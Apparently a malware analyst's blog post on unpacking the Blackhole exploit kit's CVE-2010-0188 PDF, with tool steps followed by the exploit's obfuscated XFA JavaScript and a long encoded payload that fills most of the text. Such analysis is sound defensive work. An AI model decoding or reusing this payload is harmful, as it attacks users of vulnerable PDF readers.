Showing posts with label BH. Show all posts
Showing posts with label BH. Show all posts

Thursday, April 18, 2013

Blackhole Exploit Kit - deobfuscating the CVE-2010-0188 PDF


After looking at Styx pdf for cve-2010-0188 I thought it might be fun to take a quick look at the blackhole pdf cve-2010-0188 as well. How to fetch it is explained here.
I even managed to throw in a tiny piece of Python code, so we can enjoy some wiered Monty Python reference further down :)

Here is how it goes...

1. PDF overview



Lots of streams to look into. First lets check if pdf.py can give us more info and if threre is JavaScript in there somewhere.


No luck there. probably a JavaScript in there somewhere though so lets keep on looking.
Lets try to extract the streams with pdfextract:


hmmm no such luck. 
Let's go through it piece by piece with pyew then:



So a lot of gzipped content... Lets view the streams with pdfvi


Stream no 8. Bingo this looks like something worth investigating further.

2. The JavaScript from the PDF


<template><subform name="form1"><pageSet><pageArea><contentArea h="1O.5in" w="8in" x="O.25in" y="O.25in"></contentArea><medium long="11in" short="8.5in" stock="letter"></medium></pageArea></pageSet><subform h="1O.5in" w="8in"><field h="98.425mm" name="ImageField1" w="28.575mm" x="95.25mm" y="19.O5mm"><ui><imageEdit></imageEdit></ui><event activity="initialize" xmlns:xfa="http://testset.com">
<xfa:script contentType='application/x-javascript'>
if(ImageField1.rawValue===null)p="parseIn&#116;";
pp="&#1O2;romCharCode";
a='53**^!@#**48**4P**1L**4N**^!@#**48**4B**4B**4G**^!@#**4L**4E**2M**53**^!@#**48**4P**1L**49**^!@#**49**49**27**1L**^!@#**4A**4A**4A**27**^!@#**1L**4B**4B**4B**^!@#**27**1L**4C**4C**^!@#**4C**27**1L**4D**^!@#**4D**4D**27**1L**^!@#**4E**4E**4E**27**^!@#**1L**4F**4F**4F**^!@#**2M**53**48**4P**^!@#**1L**4N**4M**4G**^!@#**4L**51**4C**4P**^!@#**5O**46**48**27**^!@#**1L**4G**2M**53**^!@#**48**4P**1L**55**^!@#**1L**2O**1L**4L**^!@#**4C**54**1L**32**^!@#**4P**4P**48**56**^!@#**23**24**2M**53**^!@#**48**4P**1L**56**^!@#**1L**2O**1L**4L**^!@#**4C**54**1L**32**^!@#**4P**4P**48**56**^!@#**23**24**2M**53**^!@#**48**4P**1L**46**^!@#**4J**2C**2O**1N**^!@#**2F**4A**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2B**2G**2C**2I**^!@#**2J**2B**2F**48**^!@#**2E**4A**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2B**4D**2H**2E**^!@#**2J**2B**2F**48**^!@#**48**2E**4C**49**^!@#**2J**2B**2F**48**^!@#**2E**2B**2D**2B**^!@#**2J**2D**2F**48**^!@#**2H**4C**2D**4D**^!@#**2J**2B**2F**48**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2D**2H**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2C**2D**2E**2K**^!@#**2J**2B**2F**48**^!@#**2H**2F**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2B**2B**2B**2F**^!@#**2B**2B**2B**2B**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**1N**26**1N**2B**^!@#**2B**2B**2B**2G**^!@#**2H**2E**2H**4B**^!@#**2H**2K**2I**4B**^!@#**2E**4D**2H**2F**^!@#**2H**2E**2H**2H**^!@#**2D**2D**2H**4A**^!@#**2H**2J**2I**2E**^!@#**2H**2D**2H**4B**^!@#**2E**2F**2I**2F**^!@#**2H**2I**2H**2C**^!@#**2I**2H**2I**4C**^!@#**2H**2H**2D**2K**^!@#**2H**2C**2E**4B**^!@#**2E**2K**2H**4D**^!@#**2H**2G**2I**2E**^!@#**2I**2H**2D**4D**^!@#**2H**2C**2E**48**^!@#**2E**2C**2E**2E**^!@#**2E**48**2E**2H**^!@#**2I**2D**2E**48**^!@#**2E**4C**2H**2C**^!@#**2E**48**2E**4C**^!@#**2H**2C**2E**48**^!@#**2E**4C**2H**2C**^!@#**2E**48**2E**2E**^!@#**2E**2E**2E**48**^!@#**2E**2D**2E**2E**^!@#**2E**48**2E**4C**^!@#**2H**2C**2E**48**^!@#**2E**2I**2H**2C**^!@#**2E**4B**2E**2G**^!@#**2H**2B**2I**4D**^!@#**2H**2G**2H**2C**^!@#**2I**2G**2I**2H**^!@#**2H**4B**2H**2H**^!@#**2D**48**2H**2C**^!@#**2E**48**2E**2B**^!@#**2E**2E**2E**48**^!@#**2E**2K**2H**2C**^!@#**2E**48**2E**49**^!@#**2H**2C**2E**48**^!@#**2E**2J**2H**2C**^!@#**2E**4B**2E**2B**^!@#**2I**2E**2I**2H**^!@#**2H**4D**2E**2B**^!@#**2I**2J**2H**2B**^!@#**2I**4C**2D**2C**^!@#**2I**4D**2D**2E**^!@#**2H**2K**2E**2B**^!@#**2E**2F**2E**2K**^!@#**2E**2G**2E**2E**^!@#**2E**2D**2H**2F**^!@#**2H**2K**2E**2C**^!@#**2E**2G**2E**2E**^!@#**2E**2D**2E**2K**^!@#**2E**2C**2H**2J**^!@#**2E**2D**2H**2I**^!@#**2E**2K**2E**2F**^!@#**2H**2G**2E**2B**^!@#**2E**2E**2H**2C**^!@#**2H**2D**2E**2C**^!@#**2H**2D**2E**2C**^!@#**2H**2C**2H**2I**^!@#**2E**2D**2E**4D**^!@#**2D**2E**2H**2K**^!@#**2E**2B**2E**2F**^!@#**2E**2K**2E**2G**^!@#**2E**2E**2E**2D**^!@#**2H**2F**2H**2K**^!@#**2E**2C**2E**2G**^!@#**2E**2E**2E**2D**^!@#**2E**2K**2E**2C**^!@#**2H**2J**2E**2D**^!@#**2H**2I**2E**2K**^!@#**2E**2F**2H**2G**^!@#**2E**2B**2E**2E**^!@#**2H**2C**2H**2D**^!@#**2E**2C**2H**2D**^!@#**2E**2C**2H**2C**^!@#**2H**2I**2E**2D**^!@#**2E**4D**2D**2F**^!@#**2E**2G**2E**4C**^!@#**2D**2G**2E**2H**^!@#**2E**4C**2D**2C**^!@#**2E**2D**2E**2C**^!@#**2E**4C**2D**2K**^!@#**2E**2D**2E**2C**^!@#**2E**4D**2D**4D**^!@#**2D**48**2E**2B**^!@#**2I**2F**2I**2F**^!@#**2I**2J**2H**2B**^!@#**2I**4D**2D**48**^!@#**2C**2H**2E**2K**^!@#**2I**2H**2F**2H**^!@#**4A**49**2C**49**^!@#**2G**48**2J**48**^!@#**4A**2E**2E**4B**^!@#**49**2C**2B**4D**^!@#**2H**2K**2J**4C**^!@#**2B**48**2J**4C**^!@#**4D**2J**2K**4A**^!@#**4C**4C**2B**4C**^!@#**2F**4C**2J**4D**^!@#**4D**4D**4D**4C**^!@#**4D**4A**2K**2J**^!@#**4C**2J**2B**2H**^!@#**2G**4D**4D**4C**^!@#**4D**48**2H**2B**^!@#**2B**48**2H**2F**^!@#**4A**2G**2I**2B**^!@#**2B**4D**2E**2B**^!@#**2J**2I**2F**48**^!@#**4D**2G**2I**2B**^!@#**2B**4D**2E**2B**^!@#**2J**2I**2F**2E**^!@#**2C**49**4C**2D**^!@#**2B**49**4C**4A**^!@#**2B**2E**4A**2E**^!@#**2J**2F**2B**2H**^!@#**2G**4D**4D**2E**^!@#**2G**4A**2B**49**^!@#**4C**2E**2J**2B**^!@#**2B**48**2H**2F**^!@#**2B**2H**2G**4D**^!@#**4D**2E**2G**2B**^!@#**2B**48**2H**2H**^!@#**2C**2G**2I**2B**^!@#**4A**2G**2J**2F**^!@#**2C**2H**2G**4D**^!@#**4D**2B**2B**48**^!@#**2H**2I**2G**2E**^!@#**2G**2B**2B**48**^!@#**2H**2B**2B**48**^!@#**2H**2C**2G**2C**^!@#**2F**2F**2B**4B**^!@#**2C**2F**2F**2J**^!@#**2J**2B**2E**2F**^!@#**2B**2C**4A**48**^!@#**2J**2K**2G**2B**^!@#**2B**2K**2B**4B**^!@#**2C**2F**2F**2H**^!@#**4A**4A**2H**4A**^!@#**2H**2F**2H**4C**^!@#**2D**2G**2B**4B**^!@#**2C**2F**2F**2I**^!@#**4A**2F**2I**2D**^!@#**2H**2B**2I**2I**^!@#**2I**2B**2B**4B**^!@#**2C**2F**2F**2I**^!@#**4A**2C**2G**2K**^!@#**4A**2E**2E**2J**^!@#**4C**49**2J**4A**^!@#**2B**2H**2G**4D**^!@#**4D**2B**2B**2B**^!@#**2B**2B**2B**2J**^!@#**4D**2J**2H**2E**^!@#**2G**2B**2D**2E**^!@#**2I**4B**2D**2B**^!@#**2D**2J**2B**2F**^!@#**2D**2F**2F**2I**^!@#**4A**2D**2E**2E**^!@#**2E**2D**2I**2H**^!@#**2I**2F**2B**2F**^!@#**2D**2F**2F**2I**^!@#**4A**2E**2I**2I**^!@#**2H**2G**2H**2D**^!@#**2I**2F**2D**2F**^!@#**2B**2I**4A**4A**^!@#**2B**2F**2D**4A**^!@#**2G**4B**2J**2B**^!@#**2B**2B**2B**2C**^!@#**2B**2F**2B**4A**^!@#**4C**2C**2J**2D**^!@#**2I**49**4C**2D**^!@#**2B**49**4C**4D**^!@#**4D**4D**4D**4D**^!@#**4D**2C**2H**2J**^!@#**4C**2J**4C**49**^!@#**2J**2J**2B**2F**^!@#**4A**2E**2J**2H**^!@#**2C**4D**4D**2F**^!@#**2G**4B**2H**4A**^!@#**2H**2D**2I**2G**^!@#**2I**2J**2H**2B**^!@#**2B**2B**2B**4C**^!@#**2H**4D**2H**2J**^!@#**2H**2E**4C**4D**^!@#**4D**2G**2B**2E**^!@#**4A**2E**2J**2B**^!@#**2C**4C**2G**49**^!@#**2J**4A**4C**49**^!@#**2J**2G**2G**2B**^!@#**2G**2K**2C**2B**^!@#**4A**2E**2J**2B**^!@#**2G**2B**2B**2B**^!@#**2B**2B**2B**4D**^!@#**4D**2J**2H**2B**^!@#**2F**48**2H**2B**^!@#**2G**2J**2G**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2J**^!@#**4C**2K**4D**2D**^!@#**4C**4D**4D**4D**^!@#**4D**4D**4D**2J**^!@#**2K**2J**4C**2K**^!@#**2G**2G**2B**48**^!@#**2H**2I**4D**49**^!@#**2J**2J**2B**2J**^!@#**2H**49**2J**2E**^!@#**4D**49**4C**2H**^!@#**2K**2E**2B**2F**^!@#**2I**2E**2E**4A**^!@#**2B**4B**2I**2B**^!@#**2J**2B**2D**2J**^!@#**2H**49**2J**4B**^!@#**48**2E**2G**49**^!@#**4C**2E**4A**2K**^!@#**2G**4C**2G**49**^!@#**48**2G**4A**2E**^!@#**2B**49**2J**2F**^!@#**2B**49**2J**4B**^!@#**4B**2E**2B**2J**^!@#**4B**49**2J**4A**^!@#**2B**2F**2D**2F**^!@#**2G**4D**4D**4A**^!@#**4C**2H**2F**4B**^!@#**2J**49**2F**4A**^!@#**2B**49**2J**2H**^!@#**2H**4B**4B**2E**^!@#**2B**2F**2D**4C**^!@#**2G**49**2J**4C**^!@#**2G**2H**4C**2G**^!@#**2I**4D**2C**49**^!@#**2E**2C**4D**49**^!@#**4C**2B**2F**48**^!@#**4B**2E**2B**4B**^!@#**2B**49**4A**2C**^!@#**4A**2J**2B**2F**^!@#**2I**2D**4D**2J**^!@#**2E**2B**2C**4C**^!@#**49**4D**2B**49**^!@#**4B**2E**2E**2G**^!@#**4A**2E**2B**4B**^!@#**48**4A**4D**2C**^!@#**2F**2K**2F**2K**^!@#**4A**2E**2E**2G**^!@#**4D**2E**2B**2B**^!@#**2D**2H**2I**49**^!@#**2J**2H**2G**2G**^!@#**4D**2E**2B**2J**^!@#**2I**2G**2E**2F**^!@#**2I**49**2J**4A**^!@#**2E**2G**2I**49**^!@#**2J**2H**2G**2C**^!@#**2G**4A**2F**49**^!@#**4C**2K**4C**2C**^!@#**2G**2G**2I**2F**^!@#**4C**2G**2J**2F**^!@#**2D**2F**2E**2I**^!@#**2J**49**4D**2G**^!@#**2I**2H**2B**2K**^!@#**2E**2H**2F**2E**^!@#**4A**2B**2E**2B**^!@#**2F**49**2J**2J**^!@#**49**4D**4D**4D**^!@#**4D**2B**2C**2G**^!@#**2C**4C**4C**2C**^!@#**2J**4A**2D**2E**^!@#**2E**2F**2I**2E**^!@#**2B**4A**2E**4C**^!@#**2G**49**2J**2H**^!@#**2H**49**4B**2E**^!@#**2E**2J**2B**2H**^!@#**2I**49**2J**2H**^!@#**2G**4A**2C**2B**^!@#**2I**49**2J**4A**^!@#**2B**2B**2F**49**^!@#**2J**2B**2E**2B**^!@#**2F**49**2J**2F**^!@#**2H**2B**4A**2E**^!@#**2E**4D**2G**2K**^!@#**4C**2F**2E**2G**^!@#**2I**2F**4C**2G**^!@#**2J**4A**4D**4A**^!@#**4D**2F**4C**2E**^!@#**2J**2H**2H**1N**^!@#**29**5O**4N**4J**^!@#**4G**51**23**22**^!@#**22**24**29**4P**^!@#**4C**53**4C**4P**^!@#**5O**4C**23**24**^!@#**29**4H**4M**4G**^!@#**4L**23**22**22**^!@#**24**29**4P**4C**^!@#**4N**4J**48**4A**^!@#**4C**23**2A**2M**^!@#**2A**4E**27**22**^!@#**22**24**2M**53**^!@#**48**4P**1L**46**^!@#**4J**2D**2O**1N**^!@#**2F**4A**2D**2B**^!@#**2H**2B**2B**4D**^!@#**48**2G**2H**2E**^!@#**2J**2B**2F**48**^!@#**2E**4A**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2K**2H**2D**2C**^!@#**2J**2B**2F**48**^!@#**2K**2B**2C**4D**^!@#**2J**2B**2F**48**^!@#**2E**2B**2K**2B**^!@#**2J**2F**2F**48**^!@#**2I**4B**2I**4C**^!@#**2J**2B**2F**48**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2D**2H**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2B**^!@#**2I**2C**2J**2J**^!@#**2J**2B**2F**48**^!@#**2H**2F**2D**2B**^!@#**2H**2B**2B**4D**^!@#**2B**2B**2B**2F**^!@#**2B**2B**2B**2B**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**2F**2C**2F**2C**^!@#**1N**26**1N**2B**^!@#**2B**2B**2B**2G**^!@#**2H**2E**2H**4B**^!@#**2H**2K**2I**4B**^!@#**2E**4D**2H**2F**^!@#**2H**2E**2H**2H**^!@#**2D**2D**2H**4A**^!@#**2H**2J**2I**2E**^!@#**2H**2D**2H**4B**^!@#**2E**2F**2I**2F**^!@#**2H**2I**2H**2C**^!@#**2I**2H**2I**4C**^!@#**2H**2H**2D**2K**^!@#**2H**2C**2E**4B**^!@#**2E**2K**2H**4D**^!@#**2H**2G**2I**2E**^!@#**2I**2H**2D**4D**^!@#**2H**2C**2E**48**^!@#**2E**2C**2E**2E**^!@#**2E**48**2E**2H**^!@#**2I**2D**2E**48**^!@#**2E**4C**2H**2C**^!@#**2E**48**2E**4C**^!@#**2H**2C**2E**48**^!@#**2E**4C**2H**2C**^!@#**2E**48**2E**2E**^!@#**2E**2E**2E**48**^!@#**2E**2D**2E**2E**^!@#**2E**48**2E**4C**^!@#**2H**2C**2E**48**^!@#**2E**2I**2H**2C**^!@#**2E**4B**2E**2G**^!@#**2H**2B**2I**4D**^!@#**2H**2G**2H**2C**^!@#**2I**2G**2I**2H**^!@#**2H**4B**2H**2H**^!@#**2D**48**2H**2C**^!@#**2E**48**2E**2B**^!@#**2E**2E**2E**48**^!@#**2E**2K**2H**2C**^!@#**2E**48**2E**49**^!@#**2H**2C**2E**48**^!@#**2E**2J**2H**2C**^!@#**2E**4B**2E**2B**^!@#**2I**2E**2I**2H**^!@#**2H**4D**2E**2B**^!@#**2I**2J**2H**2B**^!@#**2I**4C**2D**2C**^!@#**2I**4D**2D**2E**^!@#**2H**2K**2E**2B**^!@#**2E**2F**2E**2K**^!@#**2E**2G**2E**2E**^!@#**2E**2D**2H**2F**^!@#**2H**2K**2E**2C**^!@#**2E**2G**2E**2E**^!@#**2E**2D**2E**2K**^!@#**2E**2C**2H**2J**^!@#**2E**2D**2H**2I**^!@#**2E**2K**2E**2F**^!@#**2H**2G**2E**2B**^!@#**2E**2E**2H**2C**^!@#**2H**2D**2E**2C**^!@#**2H**2D**2E**2C**^!@#**2H**2C**2H**2I**^!@#**2E**2D**2E**4D**^!@#**2D**2E**2H**2K**^!@#**2E**2B**2E**2F**^!@#**2E**2K**2E**2G**^!@#**2E**2E**2E**2D**^!@#**2H**2F**2H**2K**^!@#**2E**2C**2E**2G**^!@#**2E**2E**2E**2D**^!@#**2E**2K**2E**2C**^!@#**2H**2J**2E**2D**^!@#**2H**2I**2E**2K**^!@#**2E**2F**2H**2G**^!@#**2E**2B**2E**2E**^!@#**2H**2C**2H**2D**^!@#**2E**2C**2H**2D**^!@#**2E**2C**2H**2C**^!@#**2H**2I**2E**2D**^!@#**2E**4D**2D**2F**^!@#**2E**2G**2E**4C**^!@#**2D**2G**2E**2H**^!@#**2E**4C**2D**2C**^!@#**2E**2D**2E**2C**^!@#**2E**4C**2D**2K**^!@#**2E**2D**2E**2C**^!@#**2E**4D**2D**4D**^!@#**2D**48**2E**2B**^!@#**2I**2F**2I**2F**^!@#**2I**2J**2H**2B**^!@#**2I**4D**2D**48**^!@#**2C**2H**2E**2K**^!@#**2I**2H**2F**2H**^!@#**4A**49**2C**49**^!@#**2G**48**2J**48**^!@#**4A**2E**2E**4B**^!@#**49**2C**2B**4D**^!@#**2H**2K**2J**4C**^!@#**2B**48**2J**4C**^!@#**4D**2J**2K**4A**^!@#**4C**4C**2B**4C**^!@#**2F**4C**2J**4D**^!@#**4D**4D**4D**4C**^!@#**4D**4A**2K**2J**^!@#**4C**2J**2B**2H**^!@#**2G**4D**4D**4C**^!@#**4D**48**2H**2B**^!@#**2B**48**2H**2F**^!@#**4A**2G**2I**2B**^!@#**2B**4D**2E**2B**^!@#**2J**2I**2F**48**^!@#**4D**2G**2I**2B**^!@#**2B**4D**2E**2B**^!@#**2J**2I**2F**2E**^!@#**2C**49**4C**2D**^!@#**2B**49**4C**4A**^!@#**2B**2E**4A**2E**^!@#**2J**2F**2B**2H**^!@#**2G**4D**4D**2E**^!@#**2G**4A**2B**49**^!@#**4C**2E**2J**2B**^!@#**2B**48**2H**2F**^!@#**2B**2H**2G**4D**^!@#**4D**2E**2G**2B**^!@#**2B**48**2H**2H**^!@#**2C**2G**2I**2B**^!@#**4A**2G**2J**2F**^!@#**2C**2H**2G**4D**^!@#**4D**2B**2B**48**^!@#**2H**2I**2G**2E**^!@#**2G**2B**2B**48**^!@#**2H**2B**2B**48**^!@#**2H**2C**2G**2C**^!@#**2F**2F**2B**4B**^!@#**2C**2F**2F**2J**^!@#**2J**2B**2E**2F**^!@#**2B**2C**4A**48**^!@#**2J**2K**2G**2B**^!@#**2B**2K**2B**4B**^!@#**2C**2F**2F**2H**^!@#**4A**4A**2H**4A**^!@#**2H**2F**2H**4C**^!@#**2D**2G**2B**4B**^!@#**2C**2F**2F**2I**^!@#**4A**2F**2I**2D**^!@#**2H**2B**2I**2I**^!@#**2I**2B**2B**4B**^!@#**2C**2F**2F**2I**^!@#**4A**2C**2G**2K**^!@#**4A**2E**2E**2J**^!@#**4C**49**2J**4A**^!@#**2B**2H**2G**4D**^!@#**4D**2B**2B**2B**^!@#**2B**2B**2B**2J**^!@#**4D**2J**2H**2E**^!@#**2G**2B**2D**2E**^!@#**2I**4B**2D**2B**^!@#**2D**2J**2B**2F**^!@#**2D**2F**2F**2I**^!@#**4A**2D**2E**2E**^!@#**2E**2D**2I**2H**^!@#**2I**2F**2B**2F**^!@#**2D**2F**2F**2I**^!@#**4A**2E**2I**2I**^!@#**2H**2G**2H**2D**^!@#**2I**2F**2D**2F**^!@#**2B**2I**4A**4A**^!@#**2B**2F**2D**4A**^!@#**2G**4B**2J**2B**^!@#**2B**2B**2B**2C**^!@#**2B**2F**2B**4A**^!@#**4C**2C**2J**2D**^!@#**2I**49**4C**2D**^!@#**2B**49**4C**4D**^!@#**4D**4D**4D**4D**^!@#**4D**2C**2H**2J**^!@#**4C**2J**4C**49**^!@#**2J**2J**2B**2F**^!@#**4A**2E**2J**2H**^!@#**2C**4D**4D**2F**^!@#**2G**4B**2H**4A**^!@#**2H**2D**2I**2G**^!@#**2I**2J**2H**2B**^!@#**2B**2B**2B**4C**^!@#**2H**4D**2H**2J**^!@#**2H**2E**4C**4D**^!@#**4D**2G**2B**2E**^!@#**4A**2E**2J**2B**^!@#**2C**4C**2G**49**^!@#**2J**4A**4C**49**^!@#**2J**2G**2G**2B**^!@#**2G**2K**2C**2B**^!@#**4A**2E**2J**2B**^!@#**2G**2B**2B**2B**^!@#**2B**2B**2B**4D**^!@#**4D**2J**2H**2B**^!@#**2F**48**2H**2B**^!@#**2G**2J**2G**2B**^!@#**2B**2B**2B**2B**^!@#**2B**2B**2B**2J**^!@#**4C**2K**4D**2D**^!@#**4C**4D**4D**4D**^!@#**4D**4D**4D**2J**^!@#**2K**2J**4C**2K**^!@#**2G**2G**2B**48**^!@#**2H**2I**4D**49**^!@#**2J**2J**2B**2J**^!@#**2H**49**2J**2E**^!@#**4D**49**4C**2H**^!@#**2K**2E**2B**2F**^!@#**2I**2E**2E**4A**^!@#**2B**4B**2I**2B**^!@#**2J**2B**2D**2J**^!@#**2H**49**2J**4B**^!@#**48**2E**2G**49**^!@#**4C**2E**4A**2K**^!@#**2G**4C**2G**49**^!@#**48**2G**4A**2E**^!@#**2B**49**2J**2F**^!@#**2B**49**2J**4B**^!@#**4B**2E**2B**2J**^!@#**4B**49**2J**4A**^!@#**2B**2F**2D**2F**^!@#**2G**4D**4D**4A**^!@#**4C**2H**2F**4B**^!@#**2J**49**2F**4A**^!@#**2B**49**2J**2H**^!@#**2H**4B**4B**2E**^!@#**2B**2F**2D**4C**^!@#**2G**49**2J**4C**^!@#**2G**2H**4C**2G**^!@#**2I**4D**2C**49**^!@#**2E**2C**4D**49**^!@#**4C**2B**2F**48**^!@#**4B**2E**2B**4B**^!@#**2B**49**4A**2C**^!@#**4A**2J**2B**2F**^!@#**2I**2D**4D**2J**^!@#**2E**2B**2C**4C**^!@#**49**4D**2B**49**^!@#**4B**2E**2E**2G**^!@#**4A**2E**2B**4B**^!@#**48**4A**4D**2C**^!@#**2F**2K**2F**2K**^!@#**4A**2E**2E**2G**^!@#**4D**2E**2B**2B**^!@#**2D**2H**2I**49**^!@#**2J**2H**2G**2G**^!@#**4D**2E**2B**2J**^!@#**2I**2G**2E**2F**^!@#**2I**49**2J**4A**^!@#**2E**2G**2I**49**^!@#**2J**2H**2G**2C**^!@#**2G**4A**2F**49**^!@#**4C**2K**4C**2C**^!@#**2G**2G**2I**2F**^!@#**4C**2G**2J**2F**^!@#**2D**2F**2E**2I**^!@#**2J**49**4D**2G**^!@#**2I**2H**2B**2K**^!@#**2E**2H**2F**2E**^!@#**4A**2B**2E**2B**^!@#**2F**49**2J**2J**^!@#**49**4D**4D**4D**^!@#**4D**2B**2C**2G**^!@#**2C**4C**4C**2C**^!@#**2J**4A**2D**2E**^!@#**2E**2F**2I**2E**^!@#**2B**4A**2E**4C**^!@#**2G**49**2J**2H**^!@#**2H**49**4B**2E**^!@#**2E**2J**2B**2H**^!@#**2I**49**2J**2H**^!@#**2G**4A**2C**2B**^!@#**2I**49**2J**4A**^!@#**2B**2B**2F**49**^!@#**2J**2B**2E**2B**^!@#**2F**49**2J**2F**^!@#**2H**2B**4A**2E**^!@#**2E**4D**2G**2K**^!@#**4C**2F**2E**2G**^!@#**2I**2F**4C**2G**^!@#**2J**4A**4D**4A**^!@#**4D**2F**4C**2E**^!@#**2J**2H**2H**1N**^!@#**29**5O**4N**4J**^!@#**4G**51**23**22**^!@#**22**24**29**4P**^!@#**4C**53**4C**4P**^!@#**5O**4C**23**24**^!@#**29**4H**4M**4G**^!@#**4L**23**22**22**^!@#**24**29**4P**4C**^!@#**4N**4J**48**4A**^!@#**4C**23**2A**2M**^!@#**2A**4E**27**22**^!@#**22**24**2M**46**^!@#**4J**2E**2O**48**^!@#**4N**4N**2M**46**^!@#**4J**2F**2O**4L**^!@#**4C**54**1L**32**^!@#**4P**4P**48**56**^!@#**23**24**2M**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**4J**2G**23**^!@#**24**58**53**48**^!@#**4P**1L**46**4J**^!@#**2H**2O**46**4J**^!@#**2E**29**53**4G**^!@#**4C**54**4C**4P**^!@#**3N**4C**4P**5O**^!@#**4G**4M**4L**29**^!@#**51**4M**3K**51**^!@#**4P**4G**4L**4E**^!@#**23**24**2M**46**^!@#**4J**2H**2O**46**^!@#**4J**2H**29**4P**^!@#**4C**4N**4J**48**^!@#**4A**4C**23**22**^!@#**29**22**27**22**^!@#**22**24**2M**54**^!@#**4F**4G**4J**4C**^!@#**23**46**4J**2H**^!@#**29**4J**4C**4L**^!@#**4E**51**4F**2N**^!@#**2F**24**46**4J**^!@#**2H**26**2O**22**^!@#**2B**22**2M**4P**^!@#**4C**51**52**4P**^!@#**4L**1L**4N**48**^!@#**4P**5O**4C**3A**^!@#**4L**51**23**46**^!@#**4J**2H**27**2C**^!@#**2B**24**5A**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**4J**2I**23**^!@#**46**4J**2J**27**^!@#**46**4J**2K**24**^!@#**58**54**4F**4G**^!@#**4J**4C**23**46**^!@#**4J**2J**29**4J**^!@#**4C**4L**4E**51**^!@#**4F**25**2D**2N**^!@#**46**4J**2K**24**^!@#**46**4J**2J**26**^!@#**2O**46**4J**2J**^!@#**2M**4P**4C**51**^!@#**52**4P**4L**1L**^!@#**46**4J**2J**29**^!@#**5O**52**49**5O**^!@#**51**4P**4G**4L**^!@#**4E**23**2B**27**^!@#**46**4J**2K**2A**^!@#**2D**24**5A**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**3A**2B**23**^!@#**46**3A**2C**24**^!@#**58**46**3A**2C**^!@#**2O**52**4L**4C**^!@#**5O**4A**48**4N**^!@#**4C**23**46**3A**^!@#**2C**24**2M**4P**^!@#**4M**51**4C**35**^!@#**48**4I**2O**46**^!@#**3A**2C**29**4J**^!@#**4C**4L**4E**51**^!@#**4F**25**2D**2M**^!@#**4B**48**4I**3J**^!@#**4M**51**4C**2O**^!@#**52**4L**4C**5O**^!@#**4A**48**4N**4C**^!@#**23**22**2O**52**^!@#**2K**2B**2K**2B**^!@#**22**24**2M**5O**^!@#**4N**4P**48**56**^!@#**2O**46**4J**2I**^!@#**23**4B**48**4I**^!@#**3J**4M**51**4C**^!@#**27**2B**55**2D**^!@#**2B**2B**2B**28**^!@#**4P**4M**51**4C**^!@#**35**48**4I**24**^!@#**2M**4J**4M**55**^!@#**3O**4F**4C**4C**^!@#**2O**46**3A**2C**^!@#**26**5O**4N**4P**^!@#**48**56**2M**4J**^!@#**4M**55**3O**4F**^!@#**4C**4C**2O**46**^!@#**4J**2I**23**4J**^!@#**4M**55**3O**4F**^!@#**4C**4C**27**2G**^!@#**2D**2F**2B**2K**^!@#**2J**24**2M**4D**^!@#**4M**4P**23**4G**^!@#**2O**2B**2M**1L**^!@#**4G**1L**2N**1L**^!@#**2F**2B**2B**2M**^!@#**1L**4G**26**26**^!@#**24**46**4J**2F**^!@#**42**4G**44**2O**^!@#**4J**4M**55**3O**^!@#**4F**4C**4C**29**^!@#**5O**52**49**5O**^!@#**51**4P**23**2B**^!@#**27**4J**4M**55**^!@#**3O**4F**4C**4C**^!@#**29**4J**4C**4L**^!@#**4E**51**4F**28**^!@#**2C**24**26**4B**^!@#**48**4I**3J**4M**^!@#**51**4C**2M**5A**^!@#**4D**52**4L**4A**^!@#**51**4G**4M**4L**^!@#**1L**46**3A**2D**^!@#**23**46**3A**2C**^!@#**27**4J**4C**4L**^!@#**24**58**54**4F**^!@#**4G**4J**4C**23**^!@#**46**3A**2C**29**^!@#**4J**4C**4L**4E**^!@#**51**4F**2N**4J**^!@#**4C**4L**24**46**^!@#**3A**2C**26**2O**^!@#**46**3A**2C**2M**^!@#**4P**4C**51**52**^!@#**4P**4L**1L**46**^!@#**3A**2C**29**5O**^!@#**52**49**5O**51**^!@#**4P**4G**4L**4E**^!@#**23**2B**27**4J**^!@#**4C**4L**24**5A**^!@#**4D**52**4L**4A**^!@#**51**4G**4M**4L**^!@#**1L**46**3A**2E**^!@#**23**46**3A**2C**^!@#**24**58**4P**4C**^!@#**51**2O**22**22**^!@#**2M**4D**4M**4P**^!@#**23**4G**2O**2B**^!@#**2M**4G**2N**46**^!@#**3A**2C**29**4J**^!@#**4C**4L**4E**51**^!@#**4F**2M**4G**26**^!@#**2O**2D**24**58**^!@#**49**2O**46**3A**^!@#**2C**29**5O**52**^!@#**49**5O**51**4P**^!@#**23**4G**27**2D**^!@#**24**2M**4A**2O**^!@#**4N**48**4P**5O**^!@#**4C**3A**4L**51**^!@#**23**49**27**2C**^!@#**2H**24**2M**4P**^!@#**4C**51**26**2O**^!@#**3K**51**4P**4G**^!@#**4L**4E**29**4D**^!@#**4P**4M**4K**34**^!@#**4F**48**4P**34**^!@#**4M**4B**4C**23**^!@#**4A**24**2M**5A**^!@#**4P**4C**51**52**^!@#**4P**4L**1L**4P**^!@#**4C**51**5A**4D**^!@#**52**4L**4A**51**^!@#**4G**4M**4L**1L**^!@#**46**4H**4G**2C**^!@#**23**46**3A**2C**^!@#**27**46**3A**2F**^!@#**24**58**46**3A**^!@#**2G**2O**2